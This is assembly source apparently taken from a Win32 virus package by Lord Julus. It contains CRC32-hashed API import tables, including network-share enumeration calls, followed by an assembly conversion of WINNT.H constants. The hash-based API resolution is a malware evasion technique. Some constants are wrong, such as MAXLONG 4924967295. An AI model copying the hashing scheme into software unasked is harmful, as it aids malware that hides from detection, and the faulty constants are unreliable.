;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
user32apis label
crc32 <SetTimer>
crc32 <KillTimer>
crc32 <FindWindowA>
crc32 <PostMessageA>
crc32 <MessageBoxA>
crc32 <CharUpperBuffA>
crc32 <LoadIconA>
crc32 <LoadCursorA>
crc32 <GetWindowDC>
crc32 <GetClientRect>
crc32 <BeginPaint>
crc32 <EndPaint>
crc32 <GetSystemMetrics>
crc32 <GetDC>
crc32 <InvalidateRect>
crc32 <ShowWindow>
crc32 <UpdateWindow>
crc32 <GetMessageA>
crc32 <TranslateMessage>
crc32 <DispatchMessageA>
crc32 <PostQuitMessage>
crc32 <DefWindowProcA>
crc32 <RegisterClassExA>
crc32 <CreateWindowExA>
crc32 <DestroyWindow>
dd 0

user32addr label
_SetTimer dd 0
_KillTimer dd 0
_FindWindowA dd 0
_PostMessageA dd 0
_MessageBoxA dd 0
_CharUpperBuffA dd 0
_LoadIconA dd 0
_LoadCursorA dd 0
_GetWindowDC dd 0
_GetClientRect dd 0
_BeginPaint dd 0
_EndPaint dd 0
_GetSystemMetrics dd 0
_GetDC dd 0
_InvalidateRect dd 0
_ShowWindow dd 0
_UpdateWindow dd 0
_GetMessageA dd 0
_TranslateMessage dd 0
_DispatchMessageA dd 0
_PostQuitMessage dd 0
_DefWindowProcA dd 0
_RegisterClassExA dd 0
_CreateWindowExA dd 0
_DestroyWindow dd 0
user32func = ($-offset user32addr)/4
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
gdi32apis label
crc32 <GetStockObject>
crc32 <GetCharWidthA>
crc32 <TextOutA>
crc32 <GetTextMetricsA>
gdi32addr label
_GetStockObject dd 0
_GetCharWidthA dd 0
_TextOutA dd 0
_GetTextMetricsA dd 0
gdi32func = ($-offset gdi32addr)/4
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
mpr32apis label
crc32 <WNetOpenEnumA>
crc32 <WNetEnumResourceA>
crc32 <WNetCloseEnum>
mpr32addr label
_WNetOpenEnumA dd 0
_WNetEnumResourceA dd 0
_WNetCloseEnum dd 0
mpr32func = ($-offset mpr32addr)/4
;------
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[RAMMDATA.INC]ÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[W32NT_LJ.INC]ÄÄÄ
comment $

Lord Julus presents the Win32 help series

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ÚÄ¿ ÚÄ¿
³ ³ This is my transformation of the original WINNT.H ³ ³
³ ³ file from the Microsoft Windows SDK(C) for Windows NT 5.0 ³ ³
³ ³ beta 2 and Windows 98, released on in Sept. 1998. ³ ³
³ ³ This file was transformed by me from the original C ³ ³
³ ³ definition into assembly language. You can use this file to ³ ³
³ ³ quicken up writting your win32 programs in assembler. You ³ ³
³ ³ can use these files as you wish, as they are freeware. ³ ³
³ ³ ³ ³
³ ³ However, if you find any mistake inside this file, ³ ³
³ ³ it is probably due to the fact that I merely could see the ³ ³
³ ³ monitor while converting the files. So, if you do notice ³ ³
³ ³ something, please notify me on my e-mail address at: ³ ³
³ ³ ³ ³
³ ³ lordjulus@geocities.com ³ ³
³ ³ ³ ³
³ ³ Also, if you find any other useful stuff that can be ³ ³
³ ³ included here, do not hesitate to tell me. ³ ³
³ ³ ³ ³
³ ³ Good luck, ³ ³
³ ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³
³ ³ ³ Lord Julus (c) 1999 ³ ³ ³
³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ ³
³ ³ ³ ³
ÀÄÙ ÀÄÙ
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

;ÍÍÍÍÍ͵ EQUATES ÆÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

;ÄÄÄÄÄÄ´ GENERAL ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

UCHAR EQU <db>


USHORT EQU <dw>
UINT EQU <dd>
ULONG EQU <dd>
L EQU <LARGE>

MAXCHAR EQU 255


MAXSHORT EQU 32767
MAXINT EQU 2147483647
MAXLONG EQU 4924967295

NULL EQU 00h


TRUE EQU 01h
FALSE EQU 00h
NOPARITY EQU 00h
ODDPARITY EQU 01h
EVENPARITY EQU 02h
MARKPARITY EQU 03h
SPACEPARITY EQU 04h
IGNORE EQU 00h
INFINITE EQU 0FFFFFFFFh

;ÄÄÄÄÄÄ´ DRIVES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

DRIVE_UNKNOWN EQU 0
DRIVE_NO_ROOT_DIR EQU 1
DRIVE_REMOVABLE EQU 2
DRIVE_FIXED EQU 3
DRIVE_REMOTE EQU 4
DRIVE_CDROM EQU 5
DRIVE_RAMDISK EQU 6

;ÄÄÄÄÄÄ´ DIFFERENT RIGHTS


ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

DELETE EQU 00010000h


READ_CONTROL EQU 00020000h
WRITE_DAC EQU 00040000h
WRITE_OWNER EQU 00080000h
SYNCHRONIZE EQU 00100000h
STANDARD_RIGHTS_REQUIRED EQU 000F0000h
STANDARD_RIGHTS_READ EQU READ_CONTROL
STANDARD_RIGHTS_WRITE EQU READ_CONTROL
STANDARD_RIGHTS_EXECUTE EQU READ_CONTROL
STANDARD_RIGHTS_ALL EQU 001F0000h
SPECIFIC_RIGHTS_ALL EQU 0000FFFFh
ACCESS_SYSTEM_SECURITY EQU 01000000h
MAXIMUM_ALLOWED EQU 02000000h

GENERIC_READ EQU 80000000h


GENERIC_WRITE EQU 40000000h
GENERIC_EXECUTE EQU 20000000h
GENERIC_ALL EQU 10000000h

PROCESS_TERMINATE EQU 0001h


PROCESS_CREATE_THREAD EQU 0002h
PROCESS_SET_SESSIONID EQU 0004h
PROCESS_VM_OPERATION EQU 0008h
PROCESS_VM_READ EQU 0010h
PROCESS_VM_WRITE EQU 0020h
PROCESS_DUP_HANDLE EQU 0040h
PROCESS_CREATE_PROCESS EQU 0080h
PROCESS_SET_QUOTA EQU 0100h
PROCESS_SET_INFORMATION EQU 0200h
PROCESS_QUERY_INFORMATION EQU 0400h
PROCESS_ALL_ACCESS EQU STANDARD_RIGHTS_REQUIRED OR \
SYNCHRONIZE OR 0FFFh

SECTION_QUERY EQU 0001h


SECTION_MAP_WRITE EQU 0002h
SECTION_MAP_READ EQU 0004h
SECTION_MAP_EXECUTE EQU 0008h
SECTION_EXTEND_SIZE EQU 0010h
SECTION_ALL_ACCESS EQU STANDARD_RIGHTS_REQUIRED OR \
SECTION_QUERY OR \
SECTION_MAP_WRITE OR \
SECTION_MAP_READ OR \
SECTION_MAP_EXECUTE OR \
SECTION_EXTEND_SIZE

;ÄÄÄÄÄÄ´ ACCESS FLAGS ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

PAGE_NOACCESS EQU 01h


PAGE_READONLY EQU 02h
PAGE_READWRITE EQU 04h
PAGE_WRITECOPY EQU 08h
PAGE_EXECUTE EQU 10h
PAGE_EXECUTE_READ EQU 20h
PAGE_EXECUTE_READWRITE EQU 40h
PAGE_EXECUTE_WRITECOPY EQU 80h
PAGE_GUARD EQU 100h
PAGE_NOCACHE EQU 200h
PAGE_WRITECOMBINE EQU 400h
MEM_COMMIT EQU 1000h
MEM_RESERVE EQU 2000h
MEM_DECOMMIT EQU 4000h
MEM_RELEASE EQU 8000h
MEM_FREE EQU 10000h
MEM_PRIVATE EQU 20000h
MEM_MAPPED EQU 40000h
MEM_RESET EQU 80000h
MEM_TOP_DOWN EQU 100000h
MEM_WRITE_WATCH EQU 200000h
MEM_4MB_PAGES EQU 80000000h
SEC_FILE EQU 00800000h
SEC_IMAGE EQU 01000000h
SEC_VLM EQU 02000000h
SEC_RESERVE EQU 04000000h
SEC_COMMIT EQU 08000000h
SEC_NOCACHE EQU 10000000h
MEM_IMAGE EQU SEC_IMAGE

;ÄÄÄÄÄÄ´ CONTEXT ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

CONTEXT_i386 EQU 00010000h


CONTEXT_i486 EQU 00010000h
CONTEXT_CONTROL EQU CONTEXT_i386 OR 00000001h
CONTEXT_INTEGER EQU CONTEXT_i386 OR 00000002h
CONTEXT_SEGMENTS EQU CONTEXT_i386 OR 00000004h
CONTEXT_FLOATING_POINT EQU CONTEXT_i386 OR 00000008h
CONTEXT_DEBUG_REGISTERS EQU CONTEXT_i386 OR 00000010h
CONTEXT_EXTENDED_REGISTERS EQU CONTEXT_i386 OR 00000020h
CONTEXT_FULL EQU CONTEXT_CONTROL OR CONTEXT_INTEGER OR \
CONTEXT_SEGMENTS

;ÄÄÄÄÄÄ´ SEF ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

SEF_DACL_AUTO_INHERIT EQU 01h


SEF_SACL_AUTO_INHERIT EQU 02h
SEF_DEFAULT_DESCRIPTOR_FOR_OBJECT EQU 04h
SEF_AVOID_PRIVILEGE_CHECK EQU 08h
SEF_AVOID_OWNER_CHECK EQU 10h
SEF_DEFAULT_OWNER_FROM_PARENT EQU 20h
SEF_DEFAULT_GROUP_FROM_PARENT EQU 40h
WT_EXECUTEDEFAULT EQU 00000000h
WT_EXECUTEINIOTHREAD EQU 00000001h
WT_EXECUTEINUITHREAD EQU 00000002h
WT_EXECUTEINWAITTHREAD EQU 00000004h
WT_EXECUTEDELETEWAIT EQU 00000008h
WT_EXECUTEINLONGTHREAD EQU 00000010h

;ÄÄÄÄÄÄ´ DLL ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

DLL_PROCESS_ATTACH EQU 1
DLL_THREAD_ATTACH EQU 2
DLL_THREAD_DETACH EQU 3
DLL_PROCESS_DETACH EQU 0

DONT_RESOLVE_DLL_REFERENCES EQU 00000001h


LOAD_LIBRARY_AS_DATAFILE EQU 00000002h
LOAD_WITH_ALTERED_SEARCH_PATH EQU 00000008h

DDD_RAW_TARGET_PATH EQU 00000001h


DDD_REMOVE_DEFINITION EQU 00000002h
DDD_EXACT_MATCH_ON_REMOVE EQU 00000004h
DDD_NO_BROADCAST_SYSTEM EQU 00000008h

;ÄÄÄÄÄÄ´ TERMINATION ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

TC_NORMAL EQU 0
TC_HARDERR EQU 1
TC_GP_TRAP EQU 2
TC_SIGNAL EQU 3

;ÄÄÄÄÄÄ´ EVENTS ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

EVENTLOG_SEQUENTIAL_READ EQU 0001h


EVENTLOG_SEEK_READ EQU 0002h
EVENTLOG_FORWARDS_READ EQU 0004h
EVENTLOG_BACKWARDS_READ EQU 0008h

EVENTLOG_SUCCESS EQU 0000h


EVENTLOG_ERROR_TYPE EQU 0001h
EVENTLOG_WARNING_TYPE EQU 0002h
EVENTLOG_INFORMATION_TYPE EQU 0004h
EVENTLOG_AUDIT_SUCCESS EQU 0008h
EVENTLOG_AUDIT_FAILURE EQU 0010h

EVENTLOG_START_PAIRED_EVENT EQU 0001h


EVENTLOG_END_PAIRED_EVENT EQU 0002h
EVENTLOG_END_ALL_PAIRED_EVENTS EQU 0004h
EVENTLOG_PAIRED_EVENT_ACTIVE EQU 0008h
EVENTLOG_PAIRED_EVENT_INACTIVE EQU 0010h

;ÄÄÄÄÄÄ´ DEBUG EVENTS ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

EXCEPTION_DEBUG_EVENT EQU 1
CREATE_THREAD_DEBUG_EVENT EQU 2
CREATE_PROCESS_DEBUG_EVENT EQU 3
EXIT_THREAD_DEBUG_EVENT EQU 4
EXIT_PROCESS_DEBUG_EVENT EQU 5
LOAD_DLL_DEBUG_EVENT EQU 6
UNLOAD_DLL_DEBUG_EVENT EQU 7
OUTPUT_DEBUG_STRING_EVENT EQU 8
RIP_EVENT EQU 9

;ÄÄÄÄÄÄ´ DEBUG ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

DBG_CONTINUE EQU 00010002h


DBG_TERMINATE_THREAD EQU 40010003h
DBG_TERMINATE_PROCESS EQU 40010004h
DBG_CONTROL_C EQU 40010005h
DBG_CONTROL_BREAK EQU 40010008h
DBG_EXCEPTION_NOT_HANDLED EQU 80010001h

;ÄÄÄÄÄÄ´ REGISTRY ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

; Used when accessing the Windows Registry

HKEY_CLASSES_ROOT EQU 80000000h


HKEY_CURRENT_USER EQU 80000001h
HKEY_LOCAL_MACHINE EQU 80000002h
HKEY_USERS EQU 80000003h
HKEY_PERFORMANCE_DATA EQU 80000004h
HKEY_CURRENT_CONFIG EQU 80000005h
HKEY_DYN_DATA EQU 80000006h

KEY_QUERY_VALUE EQU 0001h


KEY_SET_VALUE EQU 0002h
KEY_CREATE_SUB_KEY EQU 0004h
KEY_ENUMERATE_SUB_KEYS EQU 0008h
KEY_NOTIFY EQU 0010h
KEY_CREATE_LINK EQU 0020h

KEY_READ EQU (STANDARD_RIGHTS_READ OR\


KEY_QUERY_VALUE OR\
KEY_ENUMERATE_SUB_KEYS OR\
KEY_NOTIFY) AND\
(NOT SYNCHRONIZE)

KEY_WRITE EQU (STANDARD_RIGHTS_WRITE OR\


KEY_SET_VALUE OR\
KEY_CREATE_SUB_KEY) AND\
(NOT SYNCHRONIZE)

KEY_EXECUTE EQU KEY_READ AND SYNCHRONIZE

KEY_ALL_ACCESS EQU (STANDARD_RIGHTS_ALL OR\


KEY_QUERY_VALUE OR\
KEY_SET_VALUE OR\
KEY_CREATE_SUB_KEY OR\
KEY_ENUMERATE_SUB_KEYS OR\
KEY_NOTIFY OR\
KEY_CREATE_LINK) AND\
(NOT SYNCHRONIZE)

REG_OPTION_NON_VOLATILE EQU 00000000h ; Key is preserved when system is rebooted


REG_OPTION_VOLATILE EQU 00000001h ; Key is not preserved when system is rebooted
REG_OPTION_CREATE_LINK EQU 00000002h ; Created key is a symbolic link
REG_OPTION_BACKUP_RESTORE EQU 00000004h ; open for backup or restore special access
rules privilege required
REG_OPTION_OPEN_LINK EQU 00000008h ; Open symbolic link
REG_OPTION_RESERVED EQU 00000000h ;
REG_LEGAL_OPTION EQU REG_OPTION_RESERVED OR\
REG_OPTION_NON_VOLATILE OR\
REG_OPTION_VOLATILE OR\
REG_OPTION_CREATE_LINK OR\
REG_OPTION_BACKUP_RESTORE OR\
REG_OPTION_OPEN_LINK

REG_CREATED_NEW_KEY EQU 00000001h ; New Registry Key created


REG_OPENED_EXISTING_KEY EQU 00000002h ; Existing Key opened
REG_WHOLE_HIVE_VOLATILE EQU 00000001h ; Restore whole hive volatile
REG_REFRESH_HIVE EQU 00000002h ; Unwind changes to last flush
REG_NO_LAZY_FLUSH EQU 00000004h ; Never lazy flush this hive
REG_NOTIFY_CHANGE_NAME EQU 00000001h ; Create or delete (child)
REG_NOTIFY_CHANGE_ATTRIBUTES EQU 00000002h ;
REG_NOTIFY_CHANGE_LAST_SET EQU 00000004h ; time stamp
REG_NOTIFY_CHANGE_SECURITY EQU 00000008h ;
REG_LEGAL_CHANGE_FILTER EQU REG_NOTIFY_CHANGE_NAME OR\
REG_NOTIFY_CHANGE_ATTRIBUTES OR\
REG_NOTIFY_CHANGE_LAST_SET OR\
REG_NOTIFY_CHANGE_SECURITY

REG_NONE EQU 0 ; No value type


REG_SZ EQU 1 ; Unicode nul terminated string
REG_EXPAND_SZ EQU 2 ; Unicode nul terminated string
REG_BINARY EQU 3 ; Free form binary
REG_DWORD EQU 4 ; 32-bit number
REG_DWORD_LITTLE_ENDIAN EQU 4 ; 32-bit number (same as REG_DWORD)
REG_DWORD_BIG_ENDIAN EQU 5 ; 32-bit number
REG_LINK EQU 6 ; Symbolic Link (unicode)
REG_MULTI_SZ EQU 7 ; Multiple Unicode strings
REG_RESOURCE_LIST EQU 8 ; Resource list in the resource map
REG_FULL_RESOURCE_DESCRIPTOR EQU 9 ; Resource list in the hardware description
REG_RESOURCE_REQUIREMENTS_LIST EQU 10 ;

;ÄÄÄÄÄÄ´ SERVICES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

SERVICE_KERNEL_DRIVER EQU 00000001h


SERVICE_FILE_SYSTEM_DRIVER EQU 00000002h
SERVICE_ADAPTER EQU 00000004h
SERVICE_RECOGNIZER_DRIVER EQU 00000008h
SERVICE_DRIVER EQU SERVICE_KERNEL_DRIVER OR\
SERVICE_FILE_SYSTEM_DRIVER OR\
SERVICE_RECOGNIZER_DRIVER

SERVICE_WIN32_OWN_PROCESS EQU 00000010h


SERVICE_WIN32_SHARE_PROCESS EQU 00000020h
SERVICE_WIN32 EQU SERVICE_WIN32_OWN_PROCESS OR\
SERVICE_WIN32_SHARE_PROCESS

SERVICE_INTERACTIVE_PROCESS EQU 00000100h


SERVICE_TYPE_ALL EQU SERVICE_WIN32 OR \
SERVICE_ADAPTER OR \
SERVICE_DRIVER OR \
SERVICE_INTERACTIVE_PROCESS

SERVICE_BOOT_START EQU 00000000h


SERVICE_SYSTEM_START EQU 00000001h
SERVICE_AUTO_START EQU 00000002h
SERVICE_DEMAND_START EQU 00000003h
SERVICE_DISABLED EQU 00000004h

SERVICE_ERROR_IGNORE EQU 00000000h


SERVICE_ERROR_NORMAL EQU 00000001h
SERVICE_ERROR_SEVERE EQU 00000002h
SERVICE_ERROR_CRITICAL EQU 00000003h

;ÄÄÄÄÄÄ´ WAIT ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

WAIT_FAILED EQU 0FFFFFFFFh


WAIT_OBJECT_0 EQU STATUS_WAIT_0
WAIT_ABANDONED EQU STATUS_ABANDONED_WAIT_0
WAIT_ABANDONED_0 EQU STATUS_ABANDONED_WAIT_0
WAIT_IO_COMPLETION EQU STATUS_USER_APC
STILL_ACTIVE EQU STATUS_PENDING
CONTROL_C_EXIT EQU STATUS_CONTROL_C_EXIT
PROGRESS_CONTINUE EQU 0
PROGRESS_CANCEL EQU 1
PROGRESS_STOP EQU 2
PROGRESS_QUIET EQU 3
CALLBACK_CHUNK_FINISHED EQU 00000000h
CALLBACK_STREAM_SWITCH EQU 00000001h

;ÄÄÄÄÄÄ´ PIPES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

PIPE_ACCESS_INBOUND EQU 00000001h


PIPE_ACCESS_OUTBOUND EQU 00000002h
PIPE_ACCESS_DUPLEX EQU 00000003h
PIPE_CLIENT_END EQU 00000000h
PIPE_SERVER_END EQU 00000001h
PIPE_WAIT EQU 00000000h
PIPE_NOWAIT EQU 00000001h
PIPE_READMODE_BYTE EQU 00000000h
PIPE_READMODE_MESSAGE EQU 00000002h
PIPE_TYPE_BYTE EQU 00000000h
PIPE_TYPE_MESSAGE EQU 00000004h
PIPE_UNLIMITED_INSTANCES EQU 255

;ÄÄÄÄÄÄ´ SECURITY ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

SECURITY_CONTEXT_TRACKING EQU 00040000h


SECURITY_EFFECTIVE_ONLY EQU 00080000h
SECURITY_SQOS_PRESENT EQU 00100000h
SECURITY_VALID_SQOS_FLAGS EQU 001F0000h

;ÄÄÄÄÄÄ´ HEAP ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

HEAP_NO_SERIALIZE EQU 00000001h


HEAP_GROWABLE EQU 00000002h
HEAP_GENERATE_EXCEPTIONS EQU 00000004h
HEAP_ZERO_MEMORY EQU 00000008h
HEAP_REALLOC_IN_PLACE_ONLY EQU 00000010h
HEAP_TAIL_CHECKING_ENABLED EQU 00000020h
HEAP_FREE_CHECKING_ENABLED EQU 00000040h
HEAP_DISABLE_COALESCE_ON_FREE EQU 00000080h
HEAP_CREATE_ALIGN_16 EQU 00010000h
HEAP_CREATE_ENABLE_TRACING EQU 00020000h
HEAP_MAXIMUM_TAG EQU 0FFFh
HEAP_PSEUDO_TAG_FLAG EQU 8000h
HEAP_TAG_SHIFT EQU 18h

;ÄÄÄÄÄÄ´ UNICODE ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

IS_TEXT_UNICODE_ASCII16 EQU 0001h


IS_TEXT_UNICODE_REVERSE_ASCII16 EQU 0010h
IS_TEXT_UNICODE_STATISTICS EQU 0002h
IS_TEXT_UNICODE_REVERSE_STATISTICS EQU 0020h
IS_TEXT_UNICODE_CONTROLS EQU 0004h
IS_TEXT_UNICODE_REVERSE_CONTROLS EQU 0040h
IS_TEXT_UNICODE_SIGNATURE EQU 0008h
IS_TEXT_UNICODE_REVERSE_SIGNATURE EQU 0080h
IS_TEXT_UNICODE_ILLEGAL_CHARS EQU 0100h
IS_TEXT_UNICODE_ODD_LENGTH EQU 0200h
IS_TEXT_UNICODE_DBCS_LEADBYTE EQU 0400h
IS_TEXT_UNICODE_NULL_BYTES EQU 1000h
IS_TEXT_UNICODE_UNICODE_MASK EQU 000Fh
IS_TEXT_UNICODE_REVERSE_MASK EQU 00F0h
IS_TEXT_UNICODE_NOT_UNICODE_MASK EQU 0F00h
IS_TEXT_UNICODE_NOT_ASCII_MASK EQU F000h

;ÄÄÄÄÄÄ´ COMPRESSION ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

COMPRESSION_FORMAT_NONE EQU 0000h


COMPRESSION_FORMAT_DEFAULT EQU 0001h
COMPRESSION_FORMAT_LZNT1 EQU 0002h
COMPRESSION_ENGINE_STANDARD EQU 0000h
COMPRESSION_ENGINE_MAXIMUM EQU 0100h

;ÄÄÄÄÄÄ´ MAXIMUMS ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

MAXLOGICALLOGNAMESIZE EQU 256


MAXIMUM_SUPPORTED_EXTENSION EQU 512
MAXIMUM_WAIT_OBJECTS EQU 64
MAXIMUM_SUSPEND_COUNT EQU MAXCHAR
MAXIMUM_PROCESSORS EQU 32
SIZE_OF_80387_REGISTERS EQU 80
MAX_PATH EQU 260

;ÄÄÄÄÄÄ´ STATUS ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

STATUS_WAIT_0 EQU 000000000h


STATUS_ABANDONED_WAIT_0 EQU 000000080h
STATUS_USER_APC EQU 0000000C0h
STATUS_TIMEOUT EQU 000000102h
STATUS_PENDING EQU 000000103h
STATUS_SEGMENT_NOTIFICATION EQU 040000005h
STATUS_GUARD_PAGE_VIOLATION EQU 080000001h
STATUS_DATATYPE_MISALIGNMENT EQU 080000002h
STATUS_BREAKPOINT EQU 080000003h
STATUS_SINGLE_STEP EQU 080000004h
STATUS_ACCESS_VIOLATION EQU 0C0000005h
STATUS_IN_PAGE_ERROR EQU 0C0000006h
STATUS_INVALID_HANDLE EQU 0C0000008h
STATUS_NO_MEMORY EQU 0C0000017h
